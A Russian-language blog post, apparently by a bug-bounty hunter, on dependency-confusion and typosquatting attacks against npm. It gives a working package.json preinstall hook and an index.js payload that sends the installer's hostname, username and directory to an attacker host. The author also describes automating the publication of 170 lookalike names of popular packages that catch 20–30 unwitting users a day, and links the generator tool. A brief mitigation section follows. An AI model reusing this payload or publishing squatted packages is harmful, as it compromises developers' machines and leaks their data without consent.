RCE via Dependency Confusion

Введение Ссылка на заголовок

Атаки на цепочку поставок программного обеспечения становятся всё более изощрёнными, и одним из самых коварных видов таких атак является атака «Dependency Confusion» (конфузия или запутывание зависимостей). 

В этом контексте особенно опасным является возможность удалённого выполнения кода (RCE), который позволяет злоумышленникам не только проникнуть в систему, но и выполнить произвольные команды на целевом сервере. В этой статье мы рассмотрим, как эта атака работает, её последствия и рассмотрим современные методы, которые злоумышленники уже используют для увеличения масштабов своих атак.

Как всё работает? Ссылка на заголовок

Представим, что существует компания “Copy.bara Technologies”, которая в своих продуктах использует приватный пакет NPM, RubyGems или PyPI (не важно) под названием, например, @mycompany/utils. Пакет находится за закрытыми дверями компании и недоступен сторонним обывателям.

Но, если злоумышленник создаст и опубликует пакет с таким же названием @mycompany/utils, система сборки проекта, настроенная на поиск новых версий пакетов в публичном репозитории, скачает и установит его.

Иииии… всё? В целом - да, если не крутить уязвимость, можно просто обрушить функционал пары сайтов и порадоваться, что мы Herker, но как мы можем увеличить импакт? Добавить скрипты для post-install активности, что и приведёт нас к RCE. 

Структура проекта выглядит так:

где

  • android-x64 - директория с именем пакета (по желанию)
  • index.js - вредоносный код, аля скрипт который будет исполняться после установки на целевую систему
  • package.json - файл сродни manifest-у

Контент package.json:

{
  "name": "android-x64",
  "version": "213.21.24",
  "description": "PoC for pottential RCE",
  "main": "index.js",
  "scripts": {"preinstall": "node index.js"},
  "author": "Herker",
  "license": "ISC"
}

Пройдёмся по паре моментов:

  • Имя должно совпадать с тем, под которым мы хотим встать
  • Версия - чем больше, тем лучше. В дикой среде 2xx.yy.zz это максимальная, которую я встречал
  • Нужно понимать, что скорее всего из-за вашего пакета у кого-то все сломается

Контент index.js:

const os = require('os');
const https = require('https');
const querystring = require('querystring');
const fs = require('fs');
const packageJSON = require('./package.json');
const package_name = packageJSON.name;


const trackingData = {
  hostname: os.hostname(),
  pwd: __dirname,
  user: os.userInfo().username,
  package_name: packageJSON.name,
};


const postData = JSON.stringify(trackingData);


const options = {
  hostname: "attacker.host",
  port: 449,
  path: '/PoC',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': Buffer.byteLength(postData),
  },
  rejectUnauthorized: false,
  timeout: 2000,
};


const req = https.request(options, (res) => {
  res.on('data', (d) => {
    //console.log(d);
  });
});

req.on('error', (e) => {
  //console.error(e);
});

req.write(postData);
req.end();

Во всём что выше, вас ограничивает только фантазия, но мы собирам данные только для минимальной идентификации хоста. Шеллы ловить не будем😭

Что из этого получилось Ссылка на заголовок

В дикой среде BugBounty удалось найти такой корпоративный пакет, JS Miner указывал на путь найденный в одном из файлов. Немного погуглив по заголовку, я наткнулся на статью отца основателя этой уязвимости:

https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)

Он говорил про жирные баунти, а название “How I Hacked Into Apple, Microsoft and Dozens of Other Companies” кричало о том, что я буду богатым и счастливым, но к сожалению, они так и не обновились до нашей версии. Видимо система сборки зависимостей работает хорошо.

Также, после подобного скриншота задаёшься вопросом - а могу ли я атаковать похожие имена? Чуть-чуть погуглив, мы натыкаемся на топ 10000 NPM пакетов

https://github.com/LeoDog896/npm-rank

БИНГО! Большое количество из них отдают 404. (это означает, что название пакета свободно и можно регать своё)

Пришлось написать скрипт для генерации таких пакетов и их удобной обработки. Также он генерирует самоподписанный сертификат, если это требуется.

https://github.com/ExZuperi/Dependecer

Из 180 схожих имён, наши пакеты удалось опубликовать 170 раз. Всё-таки небольшая проверка на похожие имена там есть, правда она почти не работает.

Для всех вы будете выглядеть примерно так:

Зачем ставить только sha256, если можно поставить всю криптографию сразу?)

Количество пакетов, которые можно опубликовать подряд ограничиваются 10, но зато вот какой джентельменский набор у нас получается:

А вот так мы можем рыбачить. Статистика примерно такая: на 170 пакетов прилетает около 20-30 пользователей в день. Я думаю не стоит говорить, сколько это в горячих продакшанах.

МОЖЕТ БЫТЬ ПИЗДЁЖ И НАМ ПОТОМ ПО ГОЛОВЕ НАСТУЧАТ ИЗ-ЗА ТОГО ЧТО БРАТ СТРАНА МЕДВЕДЬ ЛОМАТЬ БРАТ СТРАНА ЛАПША, но у нас кажется получилось поймать tencent (китайский частный инвестиционный холдинг). 

Отправили им репорт на bugbounty

Как защититься? Ссылка на заголовок

Использование цифровой подписи пакетов для подтверждения их подлинности. Это помогает гарантировать, что пакет не был изменен с момента его публикации автором.

Внедрение систем мониторинга для отслеживания изменений в зависимостях и получения уведомлений при подозрительных действиях. Это может включать использование таких инструментов, как Dependabot для автоматического обновления зависимостей.

Установка и тестирование новых зависимостей в изолированных средах перед их внедрением в продуктивные системы. Это помогает предотвратить выполнение вредоносного кода в основной системе.

Всегда отдавайте приоритет внутренним репозиториям для критических зависимостей.

Используйте инструменты, такие как npm audit, для проверки безопасности пакетов.

Итоги Ссылка на заголовок

Атаки через Dependency Confusion представляют серьёзную угрозу для безопасности цепочки поставок программного обеспечения. Новые методы эксплуатации, такие как создание взаимосвязанных вредоносных пакетов и автоматизация публикации вредоносных версий популярных пакетов, могут значительно усложнить обнаружение и увеличат масштабы атак. 

Для защиты от этих угроз необходимо применять комплексный подход, включающий правильную конфигурацию репозиториев, регулярный аудит зависимостей и использование инструментов для мониторинга и анализа безопасности.

Домашнее задание Ссылка на заголовок

Подписаться на ТГ каналы:

https://t.me/citadelle_de_exzuperi

https://t.me/Pentest_Notes

Прочитать статьи:

https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

https://blog.securelayer7.net/a-road-from-dependency-confusion-to-rce/

https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/

https://snyk.io/blog/ruby-gem-installation-lockfile-injection-attacks/

Пойти заработать денег на BugBounty